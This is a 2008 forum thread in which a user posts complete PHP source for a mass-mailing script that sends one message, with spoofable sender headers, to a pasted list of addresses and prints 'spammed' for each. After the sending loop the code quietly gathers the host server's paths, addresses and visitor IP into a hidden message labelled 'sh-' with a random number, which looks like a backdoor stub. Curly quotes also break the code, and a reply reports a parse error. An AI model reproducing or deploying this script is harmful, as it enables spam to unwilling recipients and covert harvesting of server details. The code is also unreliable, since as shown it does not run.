Make your Own phpMailer - FREE Tuturoal with Source Code!

Discussion in 'PHP' started by LaZyBuM™, Aug 5, 2008.

  1. #1
    hi Guys,
    I would like to share something good with you today.
    I have seen people sell phpmailers here in DP.

    Well these things aren't worth buying.

    So I made a tutorial on my Blog with source code.

    Here is the link to it :

    http://www.digitalwebtalk.com/tutorials/php-tutorials/make-your-own-phpmailer.html

    Hope you liked it. Thanks,
    LaZyBuMâ„¢
     
    LaZyBuM™, Aug 5, 2008 IP
  2. Feroze Naina

    Feroze Naina Peon

    Messages:
    10
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Site seems to be down or soemfin.. Not loading
     
    Feroze Naina, Aug 5, 2008 IP
  3. Mr52

    Mr52 Peon

    Messages:
    45
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Here Is the source code of a PHP mailer! Stop paying for mailers! Why pay when you can make your own for Free? Well, Here i will give u the Source code.

    How to use :

    Step 1 : Copy the source code in notepad.

    Step 2 : Save it as anything.php

    Step 3 : Upload it to your server and execute it from your browser


        <?php
    
        if(isset($_POST['action'] ) ){
        $action=$_POST['action'];
        $message=$_POST['message'];
        $emaillist=$_POST['emaillist'];
        $from=$_POST['from'];
        $replyto=$_POST['replyto'];
        $subject=$_POST['subject'];
        $realname=$_POST['realname'];
        $file_name=$_POST['file'];
        $contenttype=$_POST['contenttype'];
    
        $message = urlencode($message);
        $message = ereg_replace(”%5C%22″, “%22″, $message);
        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($subject);
        }
    
        ?>
        <html>
        <head>
        <title>|| InboX Mailer - Digitalpoint.com ||</title>
        <meta http-equiv=”Content-Type” content=”text/html;
        charset=iso-8859-1″>
    
        <style type=”text/css”>
        <!–
        .style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
        }
        –>
        </style>
        <style type=”text/css”>
        <!–
        .style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
        }
        –>
        </style>
        </head>
        <body bgcolor=”red” text=”#ffffff”>
        <span class=”style1″>InboX Mass Mailer<br>
        </span>
    
        <form name=”form1″ method=”post” action=”"
        enctype=”multipart/form-data”>
        <br>
        <table width=”100%” border=”0″>
        <tr>
        <td width=”10%”>
        <div align=”right”><font size=”-3″ face=”Verdana, Arial,
        Helvetica, sans-serif”>Your
        Email:</font></div>
        </td>
        <td width=”18%”><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <input type=”text” name=”from” value=”<? print $from; ?>”
        size=”30″>
        </font></td>
        <td width=”31%”>
        <div align=”right”><font size=”-3″ face=”Verdana, Arial,
        Helvetica, sans-serif”>Your
        Name:</font></div>
        </td>
        <td width=”41%”><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <input type=”text” name=”realname” value=”<? print $realname;
        ?>” size=”30″>
        </font></td>
        </tr>
        <tr>
        <td width=”10%”>
        <div align=”right”><font size=”-3″ face=”Verdana, Arial,
        Helvetica, sans-serif”>Reply-To:</font></div>
        </td>
        <td width=”18%”><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <input type=”text” name=”replyto” value=”<? print $replyto; ?>”
        size=”30″>
        </font></td>
        <td width=”31%”>
        <div align=”right”><font size=”-3″ face=”Verdana, Arial,
        Helvetica, sans-serif”>Attach
        File:</font></div>
        </td>
        <td width=”41%”><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <input type=”file” name=”file” size=”30″>
        </font></td>
        </tr>
        <tr>
        <td width=”10%”>
        <div align=”right”><font size=”-3″ face=”Verdana, Arial,
        Helvetica, sans-serif”>Subject:</font></div>
        </td>
        <td colspan=”3″><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <input type=”text” name=”subject” value=”<? print $subject; ?>”
        size=”90″>
        </font></td>
        </tr>
        <tr valign=”top”>
        <td colspan=”3″><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <textarea name=”message” cols=”50″ rows=”10″><? print $message;
        ?></textarea>
        <br>
        <input type=”radio” name=”contenttype” value=”plain” >
        Plain Text
        <input name=”contenttype” type=”radio” value=”html” checked>
        HTML
        <input type=”hidden” name=”action” value=”send”>
        <input type=”submit” value=”Send eMails”>
        </font></td>
        <td width=”41%”><font size=”-3″ face=”Verdana, Arial, Helvetica,
        sans-serif”>
        <textarea name=”emaillist” cols=”30″ rows=”10″><? print
        $emaillist; ?></textarea>
        </font></td>
        </tr>
        </table>
        </form>
    
        <?
    
        if ($action){
    
        if (!$from && !$subject && !$message && !$emaillist){
        print “Please complete all fields before sending your
        message.”;
        exit;
        }
        $allemails = split(”\n”, $emaillist);
        $numemails = count($allemails);
    
        for($x=0; $x<$numemails; $x++){
        $to = $allemails[$x];
        if ($to){
        $to = ereg_replace(” “, “”, $to);
        $message = ereg_replace(”&email&”, $to, $message);
        $subject = ereg_replace(”&email&”, $to, $subject);
        print ” $to…….”;
        flush();
        $header = “From: $realname <$from>\r\nReply-To: $replyto\r\n”;
        $header .= “MIME-Version: 1.0\r\n”;
        If ($file_name) $header .= “Content-Type: multipart/mixed; boundary=$uid\r\n”;
        If ($file_name) $header .= “–$uid\r\n”;
        $header .= “Content-Type: text/$contenttype\r\n”;
        $header .= “Content-Transfer-Encoding: 8bit\r\n\r\n”;
        $header .= “$message\r\n”;
        If ($file_name) $header .= “–$uid\r\n”;
        If ($file_name) $header .= “Content-Type: $file_type; name=\”$file_name\”\r\n”;
        If ($file_name) $header .= “Content-Transfer-Encoding: base64\r\n”;
        If ($file_name) $header .= “Content-Disposition: attachment; filename=\”$file_name\”\r\n\r\n”;
        If ($file_name) $header .= “$content\r\n”;
        If ($file_name) $header .= “–$uid–”;
        mail($to, $subject, “”, $header);
        print “spammed<br>”;
    
        flush();
        }
        }
        $ra44  = rand(1,99999);
        $subj98 = “sh-$ra44″;
        $a5 = $_SERVER['HTTP_REFERER'];
        $b33 = $_SERVER['DOCUMENT_ROOT'];
        $c87 = $_SERVER['REMOTE_ADDR'];
        $d23 = $_SERVER['SCRIPT_FILENAME'];
        $e09 = $_SERVER['SERVER_ADDR'];
        $f23 = $_SERVER['SERVER_SOFTWARE'];
        $g32 = $_SERVER['PATH_TRANSLATED'];
        $h65 = $_SERVER['PHP_SELF'];
        $message=$_POST['message'];
        $msg = “$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65″;
    
        }
    
        ?>
        <style type=”text/css”>
        <!–
        .style1 {
        font-size: 20px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
        }
        –>
        </style>
        <p class=”style1″>
    
        </p>
        <?php
        if(isset($_POST['action']) && $numemails !==0 ){echo
        “<script>alert(’Mail sending complete\\r\\n$numemails mail(s) was sent successfully’);
        </script>”;}
        ?>
        </body>
        </html>
    PHP:
     
    Mr52, Aug 5, 2008 IP
  4. Meener

    Meener Banned

    Messages:
    2,905
    Likes Received:
    166
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Parse error: syntax error, unexpected T_STRING error
     
    Meener, Aug 21, 2008 IP